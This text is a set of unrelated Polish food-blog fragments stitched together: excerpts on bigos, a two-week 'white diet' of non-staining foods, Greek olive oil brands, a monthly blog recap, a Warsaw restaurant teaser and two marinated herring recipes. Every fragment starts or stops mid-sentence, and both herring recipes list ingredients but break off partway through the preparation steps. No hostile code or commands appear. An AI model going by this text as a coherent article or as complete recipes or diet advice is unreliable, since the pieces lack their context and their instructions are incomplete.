mieć go w zapasie. Najczęściej gotuję bigos tylko z kapusty kiszonej, oczywiście z dodatkiem różnych mięs, kiełbas i przypraw. Lubię bigos dobrze kwaskowy więc nie zapominam o grzybach suszonych , winie i wędzonych śliwkach bo te wszystkie dodatki zawsze bardzo podkręcają smak. Ale czasami mam ochotę na nieco inny rodzaj tego dania więc mieszam kapustę kiszoną ze słodką a całość

utrzymał się najdłużej należy przestrzegać białej diety przez dwa tygodnie. Biała dieta polega na spożywaniu niebarwiących pokarmów i napojów. Należy unikać picia kawy, herbaty czarnej, białej i zielonej, czerwonego wina, ciemnych soków coli i innych ciemnych napojów. Unikać trzeba ciemnych sosów, zup oraz warzyw i owoców takich jak buraczki, szpinak

sporo greckich oliw, które produkowane są przez małe greckie firmy jak Astarti, która produkuje też bezglutenową wersję przepysznych greckich sucharków paximadia, które je się zamoczone w oliwie lub w winie. Oliwę ma też grecka Arcadia, która produkuje też ekologiczne oliwki, suszone pomidory, tepenady i pesto. Ciekawą marką jest też Jump – mały wytwórca przypraw i przetworów produkowanych wg zasad

kilka fotek , które zrobiłam w zeszłym miesiącu. Zima w pełnej krasie :) Na końcu wybrałam swój ulubiony przepis opublikowany na blogu w zeszłym miesiącu, a mianowicie przepis na Grzane Wino . Jak Wam się podoba takie podsumowanie? Czekam na opinie :) Miłego dnia kochani

Restauracja Inny Wymiar w centrum Warszawy to miejsce, gdzie smacznie zjesz, ale i napijesz się wymyślnych drinków i rozmaitych win. Do restauracji Inny Wymiar... The post Gdzie smacznie zjeść w Warszawie – restauracja Inny Wymiar w centrum appeared first on Eksperymentuj z życiem

bardzo dobre marynowane śledzie. Jako przekąska albo podstawa do dalszych śledziowych zabaw. Według nas- IDEAŁY.  Składniki ok 500 g solonych płatów śledziowych 250 ml octu z białego wina 200 g cukru 1 cebula 6-8 ziarenek ziela angielskiego 4-5 goździków 2-3 listki laurowe Przygotowanie Śledzie opłuczcie i pokrójcie na dowolne kawałki, cebulę obierzcie i również pokrójcie

częściej niż zwykle sięga po śledzie… Składniki 400 g solonych filetów śledziowych 2-3 czerwone cebule 2-3 marchewki zalewa: 200 ml wody 200 ml octu winnego z białego wina 120 g cukru 2-3 liście laurowe kilka goździków 1 łyżeczka nasion kolendry 1 łyżeczka ziaren pieprzu 1 łyżka gorczycy 1 łyżeczka ziela angielskiego Przygotowanie Płaty śledziowe włóżcie